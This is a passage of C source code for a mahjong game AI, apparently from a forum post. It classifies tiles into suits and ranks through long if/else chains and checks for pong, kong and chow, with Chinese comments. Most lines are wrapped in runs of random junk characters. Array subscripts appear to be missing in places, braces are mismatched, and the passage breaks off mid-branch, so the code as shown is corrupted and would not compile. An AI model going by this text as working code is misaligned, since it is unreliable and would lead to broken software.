3 S( ]4 X8 Q$ _2 v- R: z6 e/ ]lg=2;
2 U3 g" l0 U# ]/ P3 lcomputer.pp.d[0]=2;
, f5 v8 p$ E, C! P# v: aif(computer.pp.number<=39 && computer.pp.number>=36)
8 C; s, e$ \. s4 W$ I5 ~2 \. i9 {{' {0 t; }8 s$ @7 m4 A4 p5 k& W7 a+ f
lgg=1;
( c* ~- o' y+ S% H2 j* b$ pcomputer.pp.d[1]=1;4 J$ @- F4 S/ K1 ^
}2 Y4 e, O3 x: {+ e$ i/ ~5 q/ L
else if(computer.pp.number<=43 && computer.pp.number>=40)+ V4 l9 \$ O' C
{% y" W! A7 k5 [9 {* b9 @, ?. k6 N
lgg=2;
. @( v1 C1 W: W8 tcomputer.pp.d[1]=2;
% x& t1 m( ]# H6 S3 W! c* r}- O9 \ c* {. j( \
else if(computer.pp.number<=47 && computer.pp.number>=44)0 W. M6 K/ j5 W5 r) Y
{
2 C2 k( x6 `2 R7 nlgg=3;
. o: |( G" H1 x. R: J# U3 |% F, vcomputer.pp.d[1]=3;) L6 ~# W# Y% _' X7 A
}
' @+ J- }8 m4 W8 x* Y; Celse if(computer.pp.number<=51 && computer.pp.number>=48)8 [4 ?" u% ?. ?' s
{
6 K) C$ h ^' B6 Z; e4 clgg=4;* W" ?+ e% j( S
computer.pp.d[1]=4;6 A; S1 ^. j& y8 O' I
}
9 `" x6 V- s- R Welse if(computer.pp.number<=55 && computer.pp.number>=52)5 o1 t/ j" R$ {: A: R
{8 V! J, J" _$ O
lgg=5;- C# d- K( e# b( s P% F
computer.pp.d[1]=5;
; x5 D- ]6 C/ R+ m, {# X% P}: K' Y. L& B0 q3 h3 |
else if(computer.pp.number<=59 && computer.pp.number>=56)8 s2 n/ a2 K# ~( r+ `
{
% v( l( {. q, t, C+ S3 Ylgg=6;1 H- R$ o* C, S" p
computer.pp.d[1]=6;
1 A4 I/ o9 W/ u6 t5 x( Z}' e# n" w' C, m; U7 J
else if(computer.pp.number<=63 && computer.pp.number>=60)
) w; {4 ?% A/ L, {{
5 s8 X B$ M/ k- p5 Wlgg=7;$ ?' p8 l& i: t" e' G% Y0 F
computer.pp.d[1]=7;" P$ b0 T5 w+ V6 S: C$ n& p" r
}$ O9 M0 l: j7 V2 ]; _4 k
else if(computer.pp.number<=67 && computer.pp.number>=64)
$ u. d" c( d: q6 g; _{: `2 @- R/ o* ]# k% X6 T3 g
lgg=8;- G4 S: \. A% h; P' ]& _
computer.pp.d[1]=8;
( ~4 s1 C% H3 _- S* K" {}* c* C0 b% b; ]7 h0 d
else if(computer.pp.number<=71 && computer.pp.number>=68) {1 u; j4 C+ ^# [+ r
{
+ x5 R' j/ f: { W* n# B% {8 |2 Wlgg=9;
& N% C1 M: L$ Z2 wcomputer.pp.d[1]=9;
8 R5 P9 n/ w) W}
1 s& R8 d9 j7 L}
1 G9 A1 O" }0 S5 P- }+ j8 ?else if(computer.pp.number<=107 && computer.pp.number>=72)
3 N# Q' {4 L7 y% S7 t- K{% g: N6 n/ U( ~ ^ o/ ?1 @ E
lg=3;
3 f! L+ w F! h6 T* Xcomputer.pp.d[0]=3;
$ p" n7 r8 Q$ Zif(computer.pp.number<=75 && computer.pp.number>=72)# X8 U7 }' D2 z( a4 g
{# {( u* e" b) P$ S3 R6 y7 h' e) y
lgg=1;
4 l; {7 O, ], i" E: L! rcomputer.pp.d[1]=1;
* ^1 J3 a0 R$ j}
# s2 m9 e1 [: l+ l& L9 qelse if(computer.pp.number<=79 && computer.pp.number>=76)2 ~. J s+ ~( V6 Z0 k
{
" g3 T# y& Y* ?0 v) zlgg=2;
1 z, p1 { y' P& ocomputer.pp.d[1]=2;/ q* U7 R" |8 T
}
* h4 q! u. Y. @; l, ?9 Nelse if(computer.pp.number<=83 && computer.pp.number>=80)
" x" ?( ?& C4 M{
8 P. ]( A2 w5 `* {2 q$ ^9 I8 g$ {lgg=3;
* l) n# T, W5 ?6 u6 _computer.pp.d[1]=3;* R- j6 H6 W. l n! R$ r
}
/ z* O) E: Z3 Y. {1 @else if(computer.pp.number<=87 && computer.pp.number>=84)& l- W3 P, Y1 {, Y% T
{8 \) Z- n2 C$ L
lgg=4;
3 }! f% A1 p: E$ Y5 U; _& jcomputer.pp.d[1]=4;0 r6 ]9 B. i) |5 `
}0 p3 r( P* F' z. }5 w6 ?
else if(computer.pp.number<=91 && computer.pp.number>=88): G) p6 K$ I+ P7 w& l: t5 \
{1 {6 l! J" o `9 v; F
lgg=5;
. m0 x/ W% x3 lcomputer.pp.d[1]=5;
. y2 S% S4 a! K0 z1 b4 u; o}- {5 |% N# b0 T' P+ a" j& j/ t
else if(computer.pp.number<=95 && computer.pp.number>=92)
0 o1 j1 { N1 c ^! l) W{2 E Y8 Y6 S: Q9 z! `! _$ J8 E
lgg=6;
' `% i' u6 g) P6 {5 }computer.pp.d[1]=6;
. ^6 c- M. u1 T. k}
" M. O6 D1 ~, a% [9 belse if(computer.pp.number<=99 && computer.pp.number>=96)
* k8 E* r* a/ k; J, G# o$ G{
9 g8 s9 M7 `* @2 x" ~* Zlgg=7;
- S: f7 ?* f C, }9 ^ D3 Q6 @computer.pp.d[1]=7;
# H" D" V! [+ {}
6 G8 t8 t9 r" i0 H& |( [# k( V$ Oelse if(computer.pp.number<=103 && computer.pp.number>=100)* y+ e O8 }+ J1 |# M' T1 U
{/ q& T# |' `8 c1 Y6 W7 P
lgg=8;
% }5 z+ ^9 _7 v* O! @: Scomputer.pp.d[1]=8;+ N+ I9 S$ T: y5 O
}
7 p. _: O" c( G8 Welse if(computer.pp.number<=107 && computer.pp.number>=104)1 b% D' A8 U, D# J' }' q8 R
{
 q& U, d7 p/ {lgg=9;& @9 o5 \! {6 F/ _; A4 G, x8 T
computer.pp.d[1]=9;
9 n' t+ v, j. v5 {& C4 `4 I}6 H8 r" I' |0 v# F
}" v& N* C1 ~5 x* Z! i7 s
else if(computer.pp.number<=135 && computer.pp.number>=108)
3 N$ p& b8 K5 q7 H2 {{' l7 l: R5 e, Q, p
lg=4;/ V0 v# }. H: N1 h d
computer.pp.d[0]=4;+ r6 ]1 L- ]5 g* x8 J! g1 o
if(computer.pp.number<=111 && computer.pp.number>=108)$ {; \9 B8 t% u) f+ e2 A
{ t, I. b. K# Z0 a' u
lgg=1;2 B; q1 l& V$ I. _( s9 C
computer.pp.d[1]=1;
 Z+ l [. f' y- w7 t9 b7 S% _}" Q) ^3 l& x e: r! J
else if(computer.pp.number<=115 && computer.pp.number>=112)& s$ y4 ^# L$ Q4 ~4 j1 V* t
{
, G4 M( M: C, I' F: xlgg=2;! ?' w5 f% s6 ]* K: T
computer.pp.d[1]=2;. A4 k# N- F3 f
}7 Z3 k J1 j. F) B' T) N' l
else if(computer.pp.number<=119 && computer.pp.number>=116)$ Q1 j7 v* `$ G) n* \8 X I9 l
{
0 q+ R1 h+ y' Rlgg=3;9 m; e2 ?8 i( a8 h% I5 U' F
computer.pp.d[1]=3;0 P% ?! O' o: l7 H
}
9 y) M2 U9 f. U6 yelse if(computer.pp.number<=123 && computer.pp.number>=120)
# V# E( k8 y1 \1 h( N5 Q- f( c{
2 J7 ~6 x+ z# Xlgg=4;
. y7 U& U% F/ Ucomputer.pp.d[1]=4;
) |: a) V- V8 Z( l}
$ x( Z/ J# C' w5 o" ielse if(computer.pp.number<=127 && computer.pp.number>=124)
2 U; U! |+ v; F/ X L0 M/ b{
, u+ Q. X3 w. _lgg=5;
! ?- q" u, q5 O+ X4 Z7 xcomputer.pp.d[1]=5;
* v! \* R2 \' `3 x) a, P}$ r" k0 P/ L, l7 T5 l6 ]: ?/ s
else if(computer.pp.number<=131 && computer.pp.number>=128)# T, I2 {! G: e7 @
{
3 J# t1 G7 V, W9 V `, S9 `: zlgg=6;
. L3 q4 m5 I2 L6 fcomputer.pp.d[1]=6;& \" P: g- h$ D- O2 T2 p
}) r% _+ @- P; S( a9 C
else if(computer.pp.number<=135 && computer.pp.number>=132)
; i" z7 P8 {& k K( i{( ~9 t2 o4 @8 V( }9 l) t" T. y
lgg=7;
/ v" R' y2 K7 T* ~) n2 Tcomputer.pp.d[1]=7;) @6 Q5 b& Y3 }& U, U/ h
}
) W' g2 `9 B; y3 b$ p: q \}
- x" U) y8 M7 w7 L5 E. [3 d$ N9 R: h% `8 A7 [: ?
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/. R ~" M$ V& }4 c
if(logoo==lgg)2 [5 z& p' l6 R
pg++;0 ]$ m6 m, l; S: w( g2 `
ch.lg=lg; /*保存电脑手里的每张牌的信息*// U" ~5 ?/ I* G2 k3 w* A+ z
ch.lgg=lgg;7 B# {, \0 `7 h+ {2 q B
lg=0;2 c2 [9 g+ @3 }5 |% B' P' o
lgg=0;2 L" y9 G, d9 W" G) g. C
b++;
; t- [$ j% ~7 p( r% j1 \. a}/ @ \5 Z2 t" ^- O+ Y
if(pg==2) /*乓*/. v1 G9 Y* k+ ]2 V0 V4 V
{
$ s7 T" O, S! S1 k# G9 v
1 N4 n, [, h5 J, [- a5 [7 Wsing=1;1 u- }- ^, W. @$ e
b=computer.m;1 G. D$ V3 w1 F) e$ n
while(b!=-1)5 S$ C1 x" v) l$ d/ h# i
{
3 \- ^. a! _$ Z8 l- _. V1 N: V; gif(strcmp(me.pp[c].k,computer.pp.k)==0)! [) b7 a9 O# g( p: z
computer.pp.p=1;
4 S2 s* v+ S8 s. c7 X+ R" R c4 L/ j# B: K( ?( F3 R/ N5 ?. c# Y# Q
b--;5 v7 q' C4 ^( M* R' Q7 @" x, o
}
' A6 ^7 r9 _) E+ l8 ~' L% L* n}1 x( h, O4 W P% z/ a! B% J
if(pg==3) /*杠*/
1 b6 @+ P7 y3 G+ {9 y{ V7 s0 e' L3 _( `
) C; K- \9 F1 a
sing=2;* a% G I2 i u, @9 j
b=computer.m;& K+ M1 x% b5 Z( d% c1 K
while(b!=-1)! Z3 ?$ v$ n0 c0 q W
{! X2 W' p# k" z
if(strcmp(me.pp[c].k,computer.pp.k)==0)
* g+ g' C( \- @# Y) ucomputer.pp.g=1;- A3 h8 l+ E7 D- T
b--;
1 P5 N; b, A/ T" L) h t9 m7 `}
/ u+ p5 @5 c# H9 ?}% r" y- i! n- E9 K# D- I4 `3 o
f=0;
9 z+ l. [. c( l6 ?4 `! rwhile(f<computer.m) /*吃的判断*/3 l/ _ E$ G! q$ L1 n) V7 G. A
{ if(ch[f].lg==logo && ch[f].lg!=4)
7 q. O# y" J z# ]1 h{( C5 q1 y& B2 l1 K
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
 x5 N2 h6 S+ O, d1 o( \) K/ N( ^if(ch[f].lgg-logoo==1)5 e2 H% v% Y; _% z$ K1 m
{1 k6 }, Q5 R0 u" Z
gp++;
4 B# D, Z( O% ?computer.pp[f].c=1;
) n# e! D) B$ h1 ^, {! ^: o: gcomputer.pp[f+1].c=1;" c; n% V, {% R# ~ q
}
2 E7 \- M; F/ J% I! r, Oif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
5 w7 u0 l% M9 E# Qif(ch[f+1].lgg-logoo==-1)* H- R% V3 B% T8 h; l; d; A
{
& g+ |2 U) A; M! I( `) g V, qgp++;4 B, [/ S9 m2 O+ G& Q4 S
computer.pp[f].c=1;
6 o) V% U! c6 `; ^9 Z5 \0 Rcomputer.pp[f+1].c=1;; m9 T* p A5 p3 b
}/ `* p z2 m6 x" v, j. ~
if(ch[f].lgg-logoo==-1) /*中吃*// ]8 I% Q5 ^# w1 ?1 }; G
if(ch[f+1].lgg-logoo==1)5 q! D' o# o$ m9 g3 k2 A
{
3 o" q8 |# X0 \' }! p: F3 @( [gp++;
, t$ R) V. F* H, {0 Zcomputer.pp[f].c=1;. [ B- i" `! P3 B- ^4 s8 n% |
computer.pp[f+1].c=1;% F+ M# i$ D9 b; }& }
}" F, F* I5 v% \9 ?4 w, O, j, B. P' i/ d
if(gp==1)# W' g( W& Q3 G- g- H3 @6 E
break;3 _) Y% @- Z# v" `* _* A! C
}
% T2 d: N; c/ u X1 _9 Wf++;# {" F7 B7 H9 W7 L( i, F8 O, e# I+ W
}
8 _7 n4 ?* x, Oif(gp==1); P4 z( `& S/ C+ H. S& g6 F
{sing=7;
& F4 B. b+ I4 Z$ J/ H
8 C3 D8 o- e! B- J* y, G9 F) R. N}! I* c! _" z' X: @- s- F, _/ c2 A* A# q
pg=0;$ P, p. V8 x* W: w* X1 a
gp=0;
) l' I# @2 q9 J1 xb=0;8 P7 ~, O# R9 w' O, G* n4 F
} C3 n/ R. G+ u* N1 t q. V
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
. E5 I) ^( O! E. j- m' t B{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
# n1 ?3 S" C3 N: dif(computer.pp[c].number<=35 && computer.pp[c].number>=0)
* ]: S! r1 |8 ~) B9 U0 \{
, V# f- a4 M, klogo=1;5 e0 [) q* p0 T( Q+ U5 \% S
if(computer.pp[c].number<=3 && computer.pp[c].number>=0)( q G4 x" h1 [7 s+ u8 G a
logoo=1;0 D8 H7 S3 w& L/ K; q% [6 E6 q- h
else if(computer.pp[c].number<=7 && computer.pp[c].number>=4)
& F8 y0 H0 }; q$ `! h: Tlogoo=2;. {, F2 @; a* m! v9 A* ?+ e
else if(computer.pp[c].number<=11 && computer.pp[c].number>=8)) t+ Y0 S# J2 s% }; |
logoo=3;
2 a( D2 O8 V* Q( V8 E, k: o5 \else if(computer.pp[c].number<=15 && computer.pp[c].number>=12)
; l2 o" @5 ~5 Klogoo=4;' o1 D6 b( |( P, r
else if(computer.pp[c].number<=19 && computer.pp[c].number>=16)0 ^4 W x4 g8 L9 \" _0 A* V+ V/ `4 R
logoo=5;5 k+ j! G: Y5 j' `! Y+ p
else if(computer.pp[c].number<=23 && computer.pp[c].number>=20)9 B9 Q( b5 E! X" f6 f6 j/ s V7 C
logoo=6;
% Q: I1 V9 j- H6 k0 zelse if(computer.pp[c].number<=27 && computer.pp[c].number>=24)
- J; C+ f- {" O* V) s& j i, L3 [logoo=7;
7 n0 `# T) R* t! ^' y* K, x, Y# k$ Relse if(computer.pp[c].number<=31 && computer.pp[c].number>=28) @$ l6 B" Z+ Y7 Z+ R' V
logoo=8;
$ Z' f2 u$ E6 |- z }else if(computer.pp[c].number<=35 && computer.pp[c].number>=32)
* ^9 Z: G. x K o$ O8 b8 @; [logoo=9;
9 j& K$ i) f# L0 Y; _! \( g}
- Z# N! m' h1 h9 c8 G1 o0 gelse if(computer.pp[c].number<=71 && computer.pp[c].number>=36)6 h2 p( U" V" P) m
{! J; x. U2 z% F ]- Q
logo=2;4 K* g- l! t/ {, J
if(computer.pp[c].number<=39 && computer.pp[c].number>=36)' q! |% Z. I2 B o
logoo=1;
1 R! M! X8 P" yelse if(computer.pp[c].number<=43 && computer.pp[c].number>=40)) G0 j# O" h' R# C8 P" `
logoo=2; Z. M, \1 z2 Z3 s) ~8 o1 _; T
else if(computer.pp[c].number<=47 && computer.pp[c].number>=44)( v, l# N8 `+ d/ [& g0 u1 B, z- z2 a
logoo=3;
& F# r% t& P- H* }8 zelse if(computer.pp[c].number<=51 && computer.pp[c].number>=48)5 i5 }) q* r, W9 S0 k1 C) k
logoo=4;
+ a. z; p# V- j7 Belse if(computer.pp[c].number<=55 && computer.pp[c].number>=52)+ Z& T1 f, Z% N
logoo=5;
, e: C6 d( A4 yelse if(computer.pp[c].number<=59 && computer.pp[c].number>=56)5 P4 M# _0 H& D% V- o
logoo=6;# d+ [; y" J1 [6 U5 _/ q
else if(computer.pp[c].number<=63 && computer.pp[c].number>=60)
/ x5 [! l, Q+ v2 ~8 a5 `! l1 ~logoo=7;. s5 y! G" G W/ n9 I
else if(computer.pp[c].number<=67 && computer.pp[c].number>=64)# h( a+ Z: k) U3 |; F* h# @
logoo=8;
5 T! Q3 f0 A6 B2 Q1 Z1 \else if(computer.pp[c].number<=71 && computer.pp[c].number>=68)
+ ]9 { _' l. l! K) Slogoo=9;
/ v( v& k' Y" d( J7 r% X}& A9 `: o B. R$ G
else if(computer.pp[c].number<=107 && computer.pp[c].number>=72)
9 p7 a# O0 m; @$ Y+ M! p; f# X{
$ s% m$ n1 l4 p! k0 \logo=3;/ @8 |# ^ H& ?8 Z0 P
if(computer.pp[c].number<=75 && computer.pp[c].number>=72)
& p: d# @' {( a8 r/ ~logoo=1;
# M, G1 x" k3 n; q9 Jelse if(computer.pp[c].number<=79 && computer.pp[c].number>=76)) J% k. @5 A1 C% G& f
logoo=2;
- v2 T9 u9 ^* Z% S) d0 ^% J1 R# welse if(computer.pp[c].number<=83 && computer.pp[c].number>=80)6 [ r! f8 ] Q
logoo=3;, R; V( p3 j* L6 r' b% {
else if(computer.pp[c].number<=87 && computer.pp[c].number>=84)
& ~5 w5 L3 V- Y% ]( d1 {; { Ylogoo=4;- G# _& F- G* [7 L
else if(computer.pp[c].number<=91 && computer.pp[c].number>=88)
! B+ n" ] _) F/ K clogoo=5;' R- v7 T! o9 G% T1 B( \. p ?
else if(computer.pp[c].number<=95 && computer.pp[c].number>=92)* [; f' M! ]0 K( E3 g
logoo=6;
) }3 T, F" A5 @4 y) o! y ?1 y4 gelse if(computer.pp[c].number<=99 && computer.pp[c].number>=96)' a( A% z4 a2 E0 Y
logoo=7;+ z u7 Z6 @* k# H9 c! B( j
else if(computer.pp[c].number<=103 && computer.pp[c].number>=100)
: R0 J9 _8 M. A3 A( |4 ]4 ~logoo=8;
# q- H& G. S) a( i6 {; Telse if(computer.pp[c].number<=107 && computer.pp[c].number>=104)' u( `' J6 t& I% d1 K
logoo=9;% P0 r, b$ h7 g/ l( p/ {
}
) S( k7 A3 @2 P+ q* F0 G- t* Helse if(computer.pp[c].number<=135 && computer.pp[c].number>=108)7 z0 r/ M$ k3 w6 b! ^$ }
{
: ~# k2 c% o! y$ _# Rlogo=4;7 C3 M' i z* d( W( d( W7 g; j
if(computer.pp[c].number<=111 && computer.pp[c].number>=108)
: V' t# L- O) R9 @( K! xlogoo=1;
1 U. H0 t: G0 f+ ~0 a. S; [else if(computer.pp[c].number<=115 && computer.pp[c].number>=112)
4 Z v& y- w. O) B, glogoo=2;
+ ?# h/ K, ?' k/ f+ ?else if(computer.pp[c].number<=119 && computer.pp[c].number>=116)
) V$ u+ P+ A9 ~2 n- Blogoo=3;
# o% _% ~4 @) C; E7 S/ Aelse if(computer.pp[c].number<=123 && computer.pp[c].number>=120)
 g g; V$ _+ c: ~; p0 |2 R3 Xlogoo=4;& g7 E1 r" A4 r! w& P9 n1 q
else if(computer.pp[c].number<=127 && computer.pp[c].number>=124)
% x( N5 t2 S9 Flogoo=5;
6 v8 ?( v/ Y. Q# f, G/ Kelse if(computer.pp[c].number<=131 && computer.pp[c].number>=128)
3 W: X$ ?9 Y1 E' y0 q$ Z. vlogoo=6;1 e) v# S, o% w3 M* S) ^0 }
else if(computer.pp[c].number<=135 && computer.pp[c].number>=132)
* ?) J& ~1 D8 B$ d r- S3 Hlogoo=7;8 H, y0 E7 r# L) m: u! z$ d1 o
}5 G1 w% T: m* P4 [ V* {
while(b<=me.m): Y8 {( ~& F1 _
{9 f. B' g. C1 W9 O, h" ?/ P
if(me.pp.number<=35 && me.pp.number>=0) /*我分析后出了第一张牌*/; f9 D2 j0 v' o* M# H: z+ m
{
2 J5 i% I7 k* G( f9 ]lg=1;' a ^: T1 j1 i# B/ r
me.pp.d[0]=1;5 A# e- T q& u% z& J* N
if(me.pp.number<=3 && me.pp.number>=0)
; a& |: F/ W4 p& K9 H4 f{7 p; o- D9 M8 Y" {
lgg=1;. K8 n( Q# X0 F/ a5 F6 i2 n. K2 G
me.pp.d[1]=1;: e: p; R$ ? l3 y6 S
}
/ i" Q/ i% L6 W& D9 ielse if(me.pp.number<=7 && me.pp.number>=4)
- l) @/ L) W2 e' n5 [{' o+ _/ }7 x1 M
lgg=2;
# T# ~3 G" F3 y0 h! D1 ~3 G1 ime.pp.d[1]=2;
) l) t8 A' N% I! ^+ Y+ j# x6 V}4 X8 @6 B1 l* X+ r8 A, J# |; d& o
else if(me.pp.number<=11 && me.pp.number>=8)
% F! g7 _" ~8 w$ m{0 v- ]2 k, r$ D6 V9 ^/ m& {. B
lgg=3;; z8 w9 Z: D. L5 ?: p' y: {
me.pp.d[1]=3;
' u" J9 ]6 H# m0 m- Z' z1 l) u; b}* c# M; G! R- t+ o% L& p" M+ ]6 ~
else if(me.pp.number<=15 && me.pp.number>=12)
5 l5 k* j4 ~1 x$ H! I8 J{
+ w- w4 t' E' a9 y* j- A5 l7 Ulgg=4;. g/ M6 }2 P$ C) u0 u. y
me.pp.d[1]=4;
3 B- w* N" s1 [; o! v$ f$ m}
/ F) Y( R! F5 i1 Y3 ?else if(me.pp.number<=19 && me.pp.number>=16)/ ~& _# ]$ M/ T4 C
{2 I4 K$ g" T6 ?9 I6 o7 ]0 d! U& U
lgg=5;. p2 J5 @4 O5 y9 \4 _2 ?
me.pp.d[1]=5;
8 E: G$ p% K6 e$ [8 r2 t. r, h}
8 R' f9 a. Z% r1 Telse if(me.pp.number<=23 && me.pp.number>=20)
4 i4 o( Y8 i3 R1 K! U G{
" o0 C2 I8 S$ [lgg=6;
9 C7 ?$ U+ d3 j( O- o( Eme.pp.d[1]=6;
# |, q8 w" P; ~. L B; W}' g1 A6 u6 b3 J; T7 L$ N; o3 o0 _
else if(me.pp.number<=27 && me.pp.number>=24)
1 y3 k) n. f0 L4 p- O6 l{
0 t! p% Z& j$ Tlgg=7;$ L6 ~$ H# L" T; {% M8 A _8 H
me.pp.d[1]=7;* Z5 T+ V$ j" A+ y
}( @2 A! e! E( x4 P
else if(me.pp.number<=31 && me.pp.number>=28)) N1 L. H8 Z1 Q9 k* _# [" j( }
{5 `: a/ W# Y9 j. x3 A( J
lgg=8;7 q% p/ i- d( x n0 D0 j
me.pp.d[1]=8;
7 E8 p# g: X0 y: g}
' k1 Q- g& j6 c. V8 h' O o7 telse if(me.pp.number<=35 && me.pp.number>=32)" P7 d$ k" A5 {1 F" `
{
' t8 K2 N! `4 W! B) Xlgg=9;5 a) n% J5 V- G4 P0 ?* u6 J* v
me.pp.d[1]=9;
8 { @ Y+ D5 e9 W4 {7 N4 U}9 [- P5 y3 L) j( \& w+ x, X6 E
}
, L) o# j/ e7 e5 g {3 pelse if(me.pp.number<=71 && me.pp.number>=36)& z( \4 _3 z0 t8 O! N+ \1 z0 R
{
' q9 e, p" {# `! P* Flg=2;" c2 c& ?4 r3 r) @! l# B/ O
me.pp.d[0]=2;
3 F g5 R9 z6 r2 Lif(me.pp.number<=39 && me.pp.number>=36)
5 \. W' G& P7 c{, V+ C2 \! A( v8 \, O b
lgg=1;
. p, C; _& t$ w8 ]6 v: h/ v& D; Dme.pp.d[1]=1;3 E3 [5 o# V$ l6 r" Y- q
}
. H6 u E$ m$ felse if(me.pp.number<=43 && me.pp.number>=40)
 [0 l& [5 h/ S( c{
% j* z1 o( s& c$ k$ ~! H+ O k. plgg=2;
& ?5 h. y `8 R1 B' `) Sme.pp.d[1]=2;" s/ W' O( o$ n& H! A) W) P
}$ ^5 T. }8 h# M$ @; k
else if(me.pp.number<=47 && me.pp.number>=44)' P4 ^, m) `" X
{9 _/ E7 G& ]) p- N8 p& ?
lgg=3;
4 ]: m. i6 V; y6 X' Pme.pp.d[1]=3;* p: K$ M+ A8 F$ V: M) _% K- [# @
}" g5 @0 H, W9 s( N) ]
else if(me.pp.number<=51 && me.pp.number>=48)$ W. h/ O+ a* r/ }) Q* _
{0 f' l; u! G/ r Y! \
lgg=4;
% H$ Z5 v! J- `! ame.pp.d[1]=4;6 C, Y- s$ u) T+ Q. _8 f" f. ?3 r
}! z5 U5 J+ G5 Y3 o2 o
else if(me.pp.number<=55 && me.pp.number>=52)+ j# |( g' G& k. E
{
. f4 z7 l5 k0 z/ X8 d: N9 Slgg=5; H2 w5 `0 e7 c9 I, v7 |! D/ s0 e
me.pp.d[1]=5;
+ t) ]7 Z6 x. B7 {" I: h}
; l. Z5 J, ]& j4 W8 s% s, \1 qelse if(me.pp.number<=59 && me.pp.number>=56)
3 }! G4 C' p1 O' V T; y% b o{
3 l, b( d! @) N5 a8 }! P# ^lgg=6;3 r0 R/ J$ [$ j. W9 E9 B; z
me.pp.d[1]=6;2 U* ]6 i, ]' a5 p) |8 ^
}
% d$ [) d: v6 ^4 W+ m F: `else if(me.pp.number<=63 && me.pp.number>=60)
0 E' p n4 C& K) N, V* b7 Y5 c{$ z6 ]5 ^! y0 q: c$ n2 J/ ~
lgg=7;
! b+ K; j2 z; Gme.pp.d[1]=7;0 G( l( V: E+ E5 Q
}* s: q! |" j( ]5 ]
else if(me.pp.number<=67 && me.pp.number>=64)
5 [1 C0 w9 ]8 }{2 e( W/ F8 g& f
lgg=8;
, F4 {+ t# v t7 p5 A* }) ~me.pp.d[1]=8;
3 B6 o) U0 \( H( @6 u# D}
# y; h7 D5 N6 ]9 I# }else if(me.pp.number<=71 && me.pp.number>=68)8 I" U. s/ u `' C
{# |, p/ R+ {, w0 v$ N
lgg=9;& d2 \/ |+ i! x
me.pp.d[1]=9;
, M3 N( K T$ {; O+ S}
) w. z: g0 c9 M9 i Y. ]3 j}; v: d/ s( s, V
else if(me.pp.number<=107 && me.pp.number>=72)' O. Y! r" I) _" A5 m
{
/ j0 t& D- Y$ M6 s+ Ulg=3;
* x1 A, Z5 ?; n3 N5 h$ F. Rme.pp.d[0]=3;0 F0 s8 U1 y4 j$ T; k
if(me.pp.number<=75 && me.pp.number>=72)
+ n2 |& @$ s9 s( n. s( ?7 q* {; K{
" F0 J3 J6 W( |8 |1 s; \2 O, q' |lgg=1;2 a! U& n6 v, R9 ?% n
me.pp.d[1]=1;
, K# U% I \6 m2 ?}
7 \' T% x0 l9 t, j8 n. S9 {6 Velse if(me.pp.number<=79 && me.pp.number>=76)2 r& E' |" g6 B- t# d
{* _" x3 R$ C7 [- r+ L* e
lgg=2;
$ a7 F( M6 K+ w; g, e' fme.pp.d[1]=2;& F! _6 g& N0 e9 n f9 \& ]
}" J. z2 I# \& w
else if(me.pp.number<=83 && me.pp.number>=80)
4 p8 K* w+ v6 T E4 g{2 h$ [; I" |3 ]! j" {: W
lgg=3;1 f; X5 {: F' H) {, G6 Y
me.pp.d[1]=3;
. t& s, C- E2 X: u# N5 I) a2 i}/ K6 _1 Z9 M7 F2 I6 C" |, d& W
else if(me.pp.number<=87 && me.pp.number>=84)
) ~$ b4 S1 u4 f3 W4 I B8 h& u{3 Q: K2 i7 |! Q, U, F k: ]
lgg=4;
# ]: Q7 w O' y1 jme.pp.d[1]=4;. P+ z. U3 p- a) f; t( Q
}
; J% g1 X0 Y* }9 Melse if(me.pp.number<=91 && me.pp.number>=88)& h- ]% `! }1 D9 v; `& p
{- ?; J4 N% `, F: p( M( o$ U8 v( \
lgg=5;; B; z& v R1 v7 B( J
me.pp.d[1]=5;
1 n1 Q$ |6 b9 W9 @}
% [* K# `: G7 I3 R" Selse if(me.pp.number<=95 && me.pp.number>=92)
! s, z1 F! M3 Y; [$ Q% @% G) ^& @{
# O; C/ l+ P/ L* V9 b$ w& @; g$ [lgg=6;5 v( G3 V9 z8 w0 U
me.pp.d[1]=6;
4 n' j9 s. H4 p" F: m- O}
4 v1 S& G$ T- X# F ~else if(me.pp.number<=99 && me.pp.number>=96)- l( D9 h3 B! `: w& U' s
{4 T' T# K( D V1 w2 C. S
lgg=7;
* Y L6 m' }8 {( _* E3 X! [1 m yme.pp.d[1]=7;
9 m% d# p+ X( o7 U, h}
9 ?/ ?% \" @ a' k- B# zelse if(me.pp.number<=103 && me.pp.number>=100)( y$ X; j+ R( G: d
{% I) y6 @, m" ]
lgg=8;
, r7 _5 c, ?: K+ m( f9 r* Ime.pp.d[1]=8;
+ `1 S, x! g& Z# C' h: n% {}
4 b1 e2 P: V) lelse if(me.pp.number<=107 && me.pp.number>=104)+ z' m: k# D8 L
{
! F8 U# L. }, ]8 x' j$ e" Qlgg=9;
2 V/ S+ H0 z/ Q) j# I" d$ y9 xme.pp.d[1]=9;
1 t% v8 g! @, e) e}
- K& v$ ]" |' z8 s3 J- e8 E}; R* l" z" j, y8 z0 j, Y' R# E- r' V
else if(me.pp.number<=135 && me.pp.number>=108)1 B: a$ h/ M0 I9 d4 z
{8 _: w! D6 Y' K& n( E
lg=4;
7 |5 [9 `4 h# J; ]me.pp.d[0]=4;
2 y1 ^2 G3 N `" Mif(me.pp.number<=111 && me.pp.number>=108)# H% V4 g' d5 t& o8 i
{
' W, A$ z) v9 Slgg=1;
me.pp.d[1]=1;; }* I: a2 R' }" [) O2 g
} D. F' ~5 |8 m1 R! [
else if(me.pp.number<=115 && me.pp.number>=112)
 F2 i7 ] [* \9 p% E& b) s{
" T! O6 Z2 d3 P j% Rlgg=2;
+ X8 Q1 \ ]0 e& ]me.pp.d[1]=2;/ R1 n5 U/ B" f( O8 O2 J
}0 C- y+ o6 X" j8 z* M
else if(me.pp.number<=119 && me.pp.number>=116)! h8 v ?* `+ A* U9 D( u
{
. W! z+ i$ O7 W: k! glgg=3;( X* P9 d, i( S. r/ d7 ?* `1 l# c
me.pp.d[1]=3;
# O( @3 p! R& z8 P) s}& Y4 I _3 ^2 Y3 E3 U$ v
else if(me.pp.number<=123 && me.pp.number>=120)" _7 [2 n2 {$ o, I
{; A% U: A3 C5 r. H' b/ O4 t
lgg=4;
. p G- J# L$ J5 z8 O5 w7 J" ~me.pp.d[1]=4;- g% {9 V6 W% _
}
6 a7 Z! o- ^1 j! Y5 ^& {else if(me.pp.number<=127 && me.pp.number>=124)/ j) y4 g$ V+ B6 E3 n
{; l7 |6 ~7 \( o) ]7 t Z7 P! n
